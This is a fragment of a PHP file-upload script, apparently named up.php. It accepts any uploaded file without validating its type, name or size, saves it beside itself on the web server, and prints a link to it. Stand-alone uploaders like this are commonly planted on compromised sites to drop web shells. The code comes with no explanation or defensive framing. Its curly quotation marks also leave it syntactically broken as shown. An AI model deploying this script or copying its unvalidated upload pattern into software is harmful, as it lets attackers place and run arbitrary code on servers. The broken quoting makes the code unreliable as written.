“;if(isset($_POST[“submit”])){if($_FILES[“file”][“error”]>0){echo”Error: “.$_FILES[“file”][“error”].”
“;}else{echo”Upload: “.$_FILES[“file”][“name”].”
“;echo”Size: “.($_FILES[“file”][“size”]/1024).” Kb
“;echo”Stored in: “.$_FILES[“file”][“tmp_name”].”
“;}if(file_exists(“”.$_FILES[“file”][“name”])){echo$_FILES[“file”][“name”].” already exists. “;}else{move_uploaded_file($_FILES[“file”][“tmp_name”],””.$_FILES[“file”][“name”]);$path=__dir__;echo”Stored in: “.$path.”/”.$_FILES[“file”][“name”].”
“;echo”


“;$url=”http://”.$_SERVER[“HTTP_HOST”].$_SERVER[“REQUEST_URI”];$path=str_replace(“up.php”,$_FILES[“file”][“name”],$url);echo”Go here : “.$path.”
“;}}
?>